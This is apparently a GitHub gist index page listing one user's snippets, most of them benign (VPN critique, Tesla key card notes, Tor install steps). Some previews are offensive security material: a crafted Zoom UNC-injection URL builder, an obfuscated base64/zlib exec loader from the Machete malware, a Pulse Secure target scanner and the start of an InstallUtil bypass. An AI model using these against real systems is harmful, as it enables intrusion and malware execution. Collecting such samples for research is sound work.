hotelzululima / vpn_psk_bingo.md

Created April 2, 2020 18:21 — forked from kennwhite/vpn_psk_bingo.md

Most VPN Services are Terrible

Short version: I strongly do not recommend using any of these providers. You are, of course, free to use whatever you like. My TL;DR advice: Roll your own and use Algo or Streisand. For messaging & voice, use Signal. For increased anonymity, use Tor for desktop (though recognize that doing so may actually put you at greater risk), and Onion Browser for mobile.

This mini-rant came on the heels of an interesting twitter discussion: https://twitter.com/kennwhite/status/591074055018582016

hotelzululima / converter.js

Created April 2, 2020 16:36

Zoom UNC Injection via Link Previews

	// Usage to build a custom url
	// sabri@localhost Desktop % node converter.js "cmd=sic&type=none&uss=355fed60.8b5mS4m5-EvxX4mpOGePJnqP7eHtppIFCmhYCQWWa8Da49yd91RbLyWP6RwF31vD&cnonce=3YHffyG67M1KfWNLg-JiWofUJJRpcAmCck9W3n0-MKA-&app=chrome&from=meeting&previewUrl=%5C%5C%3F%5CC%3A%5CWindows%5Cexplorer.exe&downloadUrl=%5C%5C%3F%5CC%3A%5CWindows%5Cexplorer.exe&fileName=Click%20for%20me%20%40pwnsdx&fileSize=240&fileId=&thumbnailUrl=https%3A%2F%2Fwww.getdigital.eu%2Fweb%2Fgetdigital%2Fgfx%2Fproducts%2F__generated__resized%2F380x380%2FAufkleber_Trollface.jpg"
	// Your URL is zoommtg://zoom.us/zoom?mcf=0&browser=chrome&confid=Y21kPXNpYyZ0eXBlPW5vbmUmdXNzPTM1NWZlZDYwLjhiNW1TNG01LUV2eFg0bXBPR2VQSm5xUDdlSHRwcElGQ21oWUNRV1dhOERhNDl5ZDkxUmJMeVdQNlJ3RjMxdkQmY25vbmNlPTNZSGZmeUc2N00xS2ZXTkxnLUppV29mVUpKUnBjQW1DY2s5VzNuMC1NS0EtJmFwcD1jaHJvbWUmZnJvbT1tZWV0aW5nJnByZXZpZXdVcmw9JTVDJTVDJTNGJTVDQyUzQSU1Q1dpbmRvd3MlNUNleHBsb3Jlci5leGUmZG93bmxvYWRVcmw9JTVDJTVDJTNGJTVDQyUzQSU1Q1dpbmRvd3MlNUNleHBsb3Jlci5leGUmZmlsZU5hbWU9Q2xpY2slMjBmb3Il

hotelzululima / tesla-key-card-protocol.md

Created February 8, 2020 03:56 — forked from darconeous/tesla-key-card-protocol.md

Tesla Key Card Protocol

Researched by Robert Quattlebaum darco@deepdarc.com.

Last updated 2020-02-03.

hotelzululima / pulseversion.py

Created January 8, 2020 08:37 — forked from rxwx/pulseversion.py

Pulse Secure Version Scanner

	import requests
	import sys
	import re

	HEADERS = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0"}

	if len(sys.argv) != 2:
	print " Usage: python pulseversion.py <target ip/domain>"
	sys.exit(1)

hotelzululima / Machete malware

Created December 17, 2019 07:27 — forked from JohnLaTwC/Machete malware

Machete malware

	## uploaded by @JohnLaTwc
	## See paper by ESET @ https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf
	## b67256906d976aafb6071d23d1b3f59a1696f26b25ff4713b9342d41e656dfba
	import zlib, base64
	exec(zlib.decompress(base64.b64decode('eJy9WOtvm0gQ/+6/AlmywI8lgG1MLPEhau6BlB7V5U7Vqa4sbK/tbTGLgCRu//qbWV67vjQNlXoksbPs7Mzsb+e57JTyrNCOUX6M2abHyiHP6//y40PB4nr0xJKpE6WsHhfsRHv7jJ+0XVRQHGnVTD3usb3mzog7WzLbZgHD314YWtyvKcyHYpvwJ2No5kW2xzeGPviHDE5ksCOD39eDt+vBvTnY68MPSzL9iAw9m3j2EjjZgT0GZvAzYPgM8BXhHF6ElmVxJJ6RGZAGgS2EB/YVqsBwCH92r8i+LHsat0IOP7DI57l5oAVNHg39Lnxzc3fz7t3tzV83+rCnBbAF32hpx/3V6i3bZjzn+2K1us14uuHn1epNBnCm0W616sMqUEZmKvEL+cvSWInZK6VGj1ERZetttD3SUjLu3iMzbwmA8KswBGBCfhWUTIMrBARwwWGPnrc0LQCJNMpzsXI6I1M4NQFycAVyuVDAAkVM+OQI8TjkFqINIx6aoDCwshkJAsHBtiwCf3jyuAmE3GYm0JOaK34N2uMilYq9Hd1r8G0k0RBUQmXxsG1EK+UpTQy9iPLPMcsL7epRH5oZjXalAbEUv9OYFYa+ShDGPc8AaNAQHo0lWhYlB2rEwKThO0QpqHESIUXz/kO97iPOaxktHrJnp3vV3IePYuOOQxxnqWJTQjKzycz+LyCjIBhI/gGE63USneh67fv6en2KWLJe60vBYjEjC7DoCusRMi5tGCc9h3gguXQJnNK4UAP15L4O2GWRS

hotelzululima / install-tor-instance.md

Created August 16, 2019 04:05 — forked from hcmiya/install-tor-instance.md

Example of building Tor instance

Install to Debian Buster
All of services needed to run Mastodon instance (tor, postgresql, redis, nginx) will be installed to the same server.

Install packages

# apt install postgresql redis nodejs npm ruby tor ffmpeg imagemagick git \
  nginx wget bundler protobuf-compiler iptables-persistent ncurses-term vim \
  gcc g++ make patch ruby-dev libprotobuf-dev libidn11-dev libpq-dev libicu-dev libxml2-dev libxslt1-dev

hotelzululima / gethelp.cs

Created May 15, 2019 21:21

Help Me! MSDN InstallUtil - https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.installer.helptext?view=netframework-4.8

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

hotelzululima / proc_net_tcp_decode

Created January 29, 2019 22:02 — forked from jkstill/proc_net_tcp_decode

decode entries in /proc/net/tcp

	Decoding the data in /proc/net/tcp:

	Linux 5.x /proc/net/tcp
	Linux 6.x /proc/PID/net/tcp

	Given a socket:

	$ ls -l /proc/24784/fd/11
	lrwx------ 1 jkstill dba 64 Dec 4 16:22 /proc/24784/fd/11 -> socket:[15907701]

hotelzululima / ghettohci.c

Created April 24, 2018 17:31 — forked from marcan/ghettohci.c

GhettOHCI - perhaps the world's smallest and stupidest OHCI stack.

	/*
	mini - a Free Software replacement for the Nintendo/BroadOn IOS.
	ghettohci - debug over FT232 over OHCI

	Copyright (C) 2012 Hector Martin "marcan" <marcan@marcansoft.com>

	# This code is licensed to you under the terms of the GNU GPL, version 2;
	# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
	*/

hotelzululima / pandora_tls.sh

Created March 10, 2018 01:34 — forked from bonelifer/pandora_tls.sh

Replace Pandora's old tls fingerprint with new one in pianobar config

	#!/bin/bash
	##
	## A simple little shell script that will return the current
	## fingerprint on the SSL certificate and replace it in
	## pianobar's config file automatically
	##
	## Author: William Jacoby (bonelifer) <>
	##
	## Base on the Github Gist by Bob Saska at: https://gist.github.com/r35krag0th/4173333
	##

hotelzululima hotelzululima

Most VPN Services are Terrible

Tesla Key Card Protocol

Install packages